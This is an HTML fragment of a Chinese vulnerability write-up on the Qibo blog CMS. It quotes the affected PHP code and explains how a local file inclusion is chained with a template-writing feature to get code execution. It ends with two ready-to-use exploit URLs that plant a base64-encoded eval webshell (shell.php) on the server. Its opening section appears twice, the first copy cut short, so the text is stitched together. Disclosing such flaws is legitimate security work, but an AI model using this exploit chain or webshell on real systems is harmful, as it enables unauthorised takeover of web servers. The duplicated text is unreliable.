<ul><li>/blog/require/ajax/ol_module.php</li></ul><pre class="">if($step==2) { $uid=$lfjuid; @include("template/space/module/$moduleid.php"); /*ÐÂÔö¼ÓµÄÄ£¿éʹ֮¿ÉÒÔÍÏÀ*/ //$ThisModule[$moduleid]=str_replace('class="head"','class="head" onMouseOver="Drag.inint();"',$ThisModule[$moduleid]); if(!$ThisModule[$moduleid]) { @include("template/space/file/$moduleid.php"); } </pre><p>$moduleid可控,可以包含任意php文件。<br></p><ul><li>/hack/template/admin.php</li></ul><pre class="">elseif($action=="maketpl"&&$Apower[template_list]) { $path=dirname($postdb[filepath]); if(!is_dir(ROOT_PATH.$path)){ makepath(ROOT_PATH.$path); } if(is_file(ROOT_PATH.$postdb[filepath])){ showmsg("此模板已存在了"); } elseif(!eregi("(\.htm|\.html)$",$postdb[filepath])){ showmsg('模板只能是.htm .html文件!'); } if($ifupfile) { …… } else { if(!$postdb[code]){ showerr("内容不能为空",1); } $postdb[code]=stripslashes($postdb[code]); if(eregi("(\.htm|\.html)$",$postdb[filepath]) ){ write_file(ROOT_PATH.$postdb[filepath],$postdb[code]); }...
<ul><li>/blog/require/ajax/ol_module.php</li></ul><pre class="">if($step==2) { $uid=$lfjuid; @include("template/space/module/$moduleid.php"); /*ÐÂÔö¼ÓµÄÄ£¿éʹ֮¿ÉÒÔÍÏÀ*/ //$ThisModule[$moduleid]=str_replace('class="head"','class="head" onMouseOver="Drag.inint();"',$ThisModule[$moduleid]); if(!$ThisModule[$moduleid]) { @include("template/space/file/$moduleid.php"); } </pre><p>$moduleid可控,可以包含任意php文件。<br></p><ul><li>/hack/template/admin.php</li></ul><pre class="">elseif($action=="maketpl"&&$Apower[template_list]) { $path=dirname($postdb[filepath]); if(!is_dir(ROOT_PATH.$path)){ makepath(ROOT_PATH.$path); } if(is_file(ROOT_PATH.$postdb[filepath])){ showmsg("此模板已存在了"); } elseif(!eregi("(\.htm|\.html)$",$postdb[filepath])){ showmsg('模板只能是.htm .html文件!'); } if($ifupfile) { …… } else { if(!$postdb[code]){ showerr("内容不能为空",1); } $postdb[code]=stripslashes($postdb[code]); if(eregi("(\.htm|\.html)$",$postdb[filepath]) ){ write_file(ROOT_PATH.$postdb[filepath],$postdb[code]); } if(!is_writable(ROOT_PATH.$postdb[filepath])){ echo "文件写入失败,请确认目录可写:".ROOT_PATH.$postdb[filepath]; die(); } } </pre><p>将用户传入的$postdb[code]写入一个htm文件。</p><ul><li>/blog/require/ajax/edit_sort.php</li></ul><pre class="">else { $query=$db->query("SELECT * FROM {$pre}$table_album WHERE uid='$lfjuid' ORDER BY list DESC"); while( $rs=$db->fetch_array($query) ){ $listdb[]=$rs; } require tpl_e($job); } </pre><p>此处job可控,跟入tpl_e函数:</p><pre class="">function tpl_e($html) { return “template/space/edit/$html.htm”; } </pre><p>此处包含一个htm文件。用户可以先写入一个存在任意PHP代码的htm文件,再在此处包含导致任意代码执行漏洞。</p><p>注册并登陆,首先访问地址:</p><pre class="">http://10.211.55.12/qiboblog/blog/ajax.php?inc=ol_module&step=2&step=2&moduleid=../../../../hack/template/admin&action=maketpl&Apower[template_list]=1&postdb[filepath]=template/shell.htm&postdb[code]=<?php assert(file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbZV0pOz8%2B")));?></pre><p>再次访问地址:</p><pre class="">http://10.211.55.12/qiboblog/blog/ajax.php?inc=edit_sort&job=../../../../template/shell</pre><p>得到webshell,地址为:</p><pre class="">http://10.211.55.12/qiboblog/blog/shell.php</pre>